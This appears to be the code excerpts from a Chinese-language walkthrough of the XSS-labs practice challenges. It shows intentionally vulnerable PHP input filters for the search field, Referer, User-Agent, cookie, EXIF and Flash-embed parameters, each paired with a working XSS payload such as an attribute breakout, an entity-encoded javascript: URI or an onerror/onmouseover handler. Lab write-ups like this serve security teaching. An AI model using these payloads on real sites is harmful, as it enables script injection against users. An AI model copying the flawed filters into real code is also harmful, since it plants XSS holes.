1
Content-Security-Policy: script-src 'self'

1
$str2 = str_replace(">", "", $str);  // 直接删除">"字符
2
$str3 = str_replace("<", "", $str2);  // 直接删除"<"字符

1
<?php
2
ini_set("display_errors", 0);
3
$str = strtolower($_GET["keyword"]);       // 1. 全部转为小写（防止大小写绕过）
4
$str2 = str_replace("<script", "<scr_ipt", $str);  // 2. 替换 "<script" → "<scr_ipt"
5
$str3 = str_replace("on", "o_n", $str2);  // 3. 替换所有 "on" → "o_n"（破坏事件属性）
6
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
7
     '<center>
8
        <form action=level5.php method=GET>
9
            <input name=keyword value="'.$str3.'">  // 关键：未对 $str3 做完整转义
10
            <input type=submit name=submit value=搜索 />
11
        </form>
12
     </center>';
13
?>

1
#有效Payload
2
"><a href=javascript:alert(1)>Click Here</a>#双引号是闭合方式，而尖括号是为了闭合<input>标签

1
$str=strolower($_GET["keyword"]);//转换为小写
2
// 核心过滤逻辑
3
$str1 = str_ireplace("script", "", $str1);
4
$str1 = str_ireplace("on", "", $str1);
5
$str1 = str_ireplace("src", "", $str1);
6
$str1 = str_ireplace("data", "", $str1);
7
$str1 = str_ireplace("href", "", $str1);

1
// 核心过滤逻辑
2
$str1 = str_ireplace("javascript", "", $str1); // 过滤 javascript
3
$str1 = str_ireplace(" ", "", $str1);          // 过滤空格
4
$str1 = str_ireplace('"', """, $str1);         // 过滤双引号
5
$str1 = str_ireplace("'", "&#39", $str1);      // 过滤单引号
6
$str1 = str_ireplace(">", "&gt", $str1);       // 过滤 >
7
$str1 = str_ireplace("<", "&lt", $str1);       // 过滤 <
8
$str1 = str_ireplace("&", "&amp", $str1);      // 过滤 & (关键！)
9

10
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
11
     '<center><a id="href" href="'.$str1.'">友情链接</a></center>'; // 输出点在 href 中
12
?>

1
#可以用HTML实体编码
2
javascript:alert
3
#也可以用Unicode编码
4
&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029

1
if(false===strpos($str7,'http://'))
2
{
3
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
4
}

1
$str = $_GET["keyword"];
2
$str00 = $_GET["t_sort"];
3
$str11 = $_SERVER['HTTP_REFERER'];           // 获取Referer请求头
4
$str22 = str_replace(">", "", $str11);       // 过滤 > 符号
5
$str33 = str_replace("<", "", $str22);       // 过滤 < 符号
6

7
// 输出到隐藏表单
8
<input name="t_ref" value="'.$str33.'" type="hidden">

1
" type="text" onclick="alert(1)   #可以用HackBar来修改Referer，或者用BurpSuit来拦截

1
$str = $_GET["keyword"];
2
$str00 = $_GET["t_sort"];
3
$str11 = $_SERVER['HTTP_USER_AGENT'];          // 获取User-Agent请求头
4
$str22 = str_replace(">", "", $str11);         // 过滤 > 符号
5
$str33 = str_replace("<", "", $str22);         // 过滤 < 符号
6

7
// 输出到隐藏表单
8
<input name="t_ua" value="'.$str33.'" type="hidden">

1
$str = $_GET["keyword"];
2
$str00 = $_GET["t_sort"];
3
$str11 = $_COOKIE['user'];                    // 获取Cookie中的user值
4
$str22 = str_replace(">", "", $str11);        // 过滤 > 符号
5
$str33 = str_replace("<", "", $str22);        // 过滤 < 符号
6

7
// 输出到隐藏表单
8
<input name="t_cook" value="'.$str33.'" type="hidden">

1
#第十四关的页面通过 <iframe> 加载了一个图片上传处理页面 exifviewer.php
2
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="exifviewer.php" frameborder=no width="80%" scrolling="no" height=80%></iframe></center>
3

4
// 读取EXIF信息
5
$exif = exif_read_data($targetPath, 0, true);
6
if ($exif !== false) {
7
    echo "<h4>[" . basename($_FILES["file"]["name"]) . "]的EXIF信息:</h4>";
8
    foreach ($exif as $key => $section) {
9
        foreach ($section as $name => $val) {
10
            echo "$key.$name: $val<br />\n";   // 直接输出 EXIF 值
11
        }
12
    }
13
}

1
<span class="ng-include:<?php echo htmlspecialchars($_GET['src']); ?>"></span>

1
#?src='level1.php?name=<img src=x onerror=alert(1)>'
2
?src=%27level1.php?name=%3Cimg%20src=x%20onerror=alert(1)%3E%27

1
<?php
2
ini_set("display_errors", 0);
3
$str = strtolower($_GET["keyword"]);
4
$str2 = str_replace("script", " ", $str);
5
$str3 = str_replace(" ", " ", $str2);
6
$str4 = str_replace("/", " ", $str3);
7
$str5 = str_replace(" ", " ", $str4);
8
echo "<center>" . $str5 . "</center>";
9
?>

1
echo "<embed src=xsf01.swf?" . htmlspecialchars($_GET["arg01"]) . "=" . htmlspecialchars($_GET["arg02"]) . " ...>";

1
?arg01=test&arg02=123 onmouseover=alert(1)

1
<?php
2
ini_set("display_errors", 0);
3
echo "<embed src=xsf02.swf?" . htmlspecialchars($_GET["arg01"]) . "=" . htmlspecialchars($_GET["arg02"]) . " width=100% heigth=100%>";
4
?>

1
<?php
2
ini_set("display_errors", 0);
3
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
4
?>

1
http://test.ctf8.com/level19.php?arg01=version&arg02=<a href="javascript:alert(1)">xss</a>

1
<?php
2
ini_set("display_errors", 0);
3
echo '<embed src="xsf04.swf?' . htmlspecialchars($_GET["arg01"]) . "=" . htmlspecialchars($_GET["arg02"]) . '" width=100% heigth=100%>';
4
?>